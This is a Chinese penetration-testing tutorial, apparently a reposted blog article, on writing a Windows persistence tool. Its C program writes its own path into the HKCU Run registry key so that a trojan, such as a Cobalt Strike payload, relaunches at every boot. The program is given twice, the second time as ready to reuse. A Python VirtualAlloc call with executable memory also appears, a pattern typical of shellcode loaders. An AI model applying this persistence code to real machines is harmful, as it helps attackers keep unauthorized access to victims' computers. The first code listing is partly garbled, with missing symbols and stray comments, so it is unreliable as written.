渗透技能 | 编写开机自启动权限维持工具

admin 2022年6月6日17:26:35安全文章评论15 views3142字阅读10分28秒阅读模式

扫码领资料

获黑客教程

免费&进群

渗透技能 | 编写开机自启动权限维持工具
渗透技能 | 编写开机自启动权限维持工具



作者掌控安全—山雀7


通过注册表来开机自启动

注册表

在我们的计算机里面,有一些程序是可以设置成开机自启的,这种程序一般都是采用往注册表里面添加键值指向自己的程序路径来实现开机自启。

比如cs生成的exe木马,我们让它开机自启动,然后目标机器每一次开机都会启动木马发来心跳包,以此来达到权限维持的目的。

渗透技能 | 编写开机自启动权限维持工具

win+r:regedit打开注册表,在如下位置能够看到当前用户开机启动项的键值

  1. HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun

以后拿到权限可以把payload写到这里。

先贴出写的代码,下面在补充用到的知识

  1. include<stdio.h>

  2. include<windows.h>

  3. void main(void)

  4. {

  5. //根键、子键名称和到子键的句柄

  6. HKEY hRoot = HKEY_CURRENT_USER; 根路径

  7. char* szSubKey = (char*)"Software\Microsoft\Windows\CurrentVersion\Run";在根路径下对应的项

  8. HKEY hKey;//打开指定子键

  9. DWORD dwDisposition = REG_OPENED_EXISTING_KEY;

  10. //如果不存在就创建

  11. LONG lRet = RegCreateKeyEx(

  12. hRoot,

  13. szSubKey,

  14. 0,

  15. NULL,

  16. REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,

  17. NULL,

  18. &hKey,

  19. &dwDisposition

  20. );

  21. if (lRet != ERROR_SUCCESS) //如果有就直接关掉这个程序

  22. return;

  23. //得到当前执行文件的文件名(包含路径)

  24. char szModule[MAX_PATH];

  25. GetModuleFileName(NULL, szModule, MAX_PATH);

  26. //创建一个新的键值,设置键值数据为文件

  27. lRet = RegSetValueEx( 调用的函数RegSetValueEx

  28. hKey,

  29. "shanque", 自己设置的键的名字,相当于图中的Wechat

  30. 0,

  31. REG_SZ,

  32. (BYTE*)szModule, 指针,定义一个键的名字以后去指向它,就可以自动的去获得这个键的值

  33. strlen(szModule)需要的一个长度

  34. );

  35. if (lRet == ERROR_SUCCESS)

  36. printf("shanque run successn");

  37. else

  38. {

  39. printf("failed");

  40. }

  41. //关闭子键句柄

  42. RegCloseKey(hKey);

  43. }

渗透技能 | 编写开机自启动权限维持工具

用到的知识补充

1.windowsAPI

概念

windows操作系统提供给应用程序的功能接口

存在方式

存放在dll文件中
dll文件—>动态链接库,里面有很多函数。比如MessageBox这个函数就存放在user.dll这个文件里。

使用方法

顺序:加载或找到dll文件->dll文件里面去找函数名字

C++

  1. #include <windows.h>

可以调用公开的接口。

python

  1. import ctypes


  2. macmem = ctypes.windll.Kernel32.virtualAlloc(0,1003,0x3000,0x40)

调用过程

用户层和内核层

aaa.dll里面是没有具体执行功能的代码的(为了源代码安全和隐私)

会做一个引导

这里面的地址都会统一指向”ntdll.dll”
例子
如果直接用c++来写一个弹窗很麻烦,但是我们可以调用API接口中的MessageBox这个函数。

  1. #include <windows.h> //调用vpi接口


  2. int main()


  3. {


  4. MessageBox(NULL,"shanque","bbb",MB_OK) ;




  5. return 0;


  6. }

渗透技能 | 编写开机自启动权限维持工具

2.c++函数指针

一种直接操作计算机内存的方式

  1. #include <iostream>


  2. using namespace std;


  3. int main ()

  4. {

  5. int var = 20; // 实际变量的声明

  6. int *ip; // 指针变量的声明

  7. ip = &var; // 在指针变量中存储 var 的地址

  8. cout << "Value of var variable: ";

  9. cout << var << endl;

  10. // 输出在指针变量中存储的地址

  11. cout << "Address stored in ip variable: ";

  12. cout << ip << endl;

  13. // 访问指针中地址的值

  14. cout << "Value of *ip variable: ";

  15. cout << *ip << endl;

  16. return 0;

  17. }

最后贴上我没有写分析的代码,大家可以直接把shanque改成要自启动的名字就可以

  1. #include<stdio.h>

  2. #include<windows.h>

  3. void main(void)

  4. {

  5. //根键、子键名称和到子键的句柄

  6. HKEY hRoot = HKEY_CURRENT_USER;

  7. char* szSubKey = (char*)"Software\Microsoft\Windows\CurrentVersion\Run";

  8. HKEY hKey;//打开指定子键

  9. DWORD dwDisposition = REG_OPENED_EXISTING_KEY;

  10. //如果不存在就创建

  11. LONG lRet = RegCreateKeyEx(

  12. hRoot,

  13. szSubKey,

  14. 0,

  15. NULL,

  16. REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,

  17. NULL,

  18. &hKey,

  19. &dwDisposition

  20. );

  21. if (lRet != ERROR_SUCCESS)

  22. return;

  23. //得到当前执行文件的文件名(包含路径)

  24. char szModule[MAX_PATH];

  25. GetModuleFileName(NULL, szModule, MAX_PATH);

  26. //创建一个新的键值,设置键值数据为文件

  27. lRet = RegSetValueEx(

  28. hKey,

  29. "shanque",

  30. 0,

  31. REG_SZ,

  32. (BYTE*)szModule,

  33. strlen(szModule)

  34. );

  35. if (lRet == ERROR_SUCCESS)

  36. printf("shanque run successn");

  37. else

  38. {

  39. printf("failed");

  40. }

  41. //关闭子键句柄

  42. RegCloseKey(hKey);

  43. }

最后说一点我自己的想法

如果代码看不懂怎么办?

没关系,只需要看分析,注释知道大概是个什么流程就可以了,记得我刚刚开始学习php老师就说了,我们是学渗透的,又不搞开发。

推荐大家以目的出发,然后去学习知识,免杀系列后面我也会不断跟新我的学习笔记,c++会用的比较多。

说一下学习流程吧

百度:win32API+要达到的功能

比如win32API+注册表

渗透技能 | 编写开机自启动权限维持工具

很容易在csdn这种地方找到要用到的函数

渗透技能 | 编写开机自启动权限维持工具

再把函数拿到https://docs.microsoft.com/zh-cn/search/ 去搜

渗透技能 | 编写开机自启动权限维持工具

这两随便看一个,这是官方的利用方法和流程。

渗透技能 | 编写开机自启动权限维持工具

然后如果不知道开机自启动去权限维持的,一样去搜一搜看一下就可以了。


渗透技能 | 编写开机自启动权限维持工具


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.


@

学习更多渗透技能!体验靶场实战练习


渗透技能 | 编写开机自启动权限维持工具

hack视频资料及工具

渗透技能 | 编写开机自启动权限维持工具

(部分展示)


往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞


看到这里了,点个“赞”、“再看”吧

原文始发于微信公众号(白帽子左一):渗透技能 | 编写开机自启动权限维持工具

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月6日17:26:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  渗透技能 | 编写开机自启动权限维持工具 http://cn-sec.com/archives/1091269.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: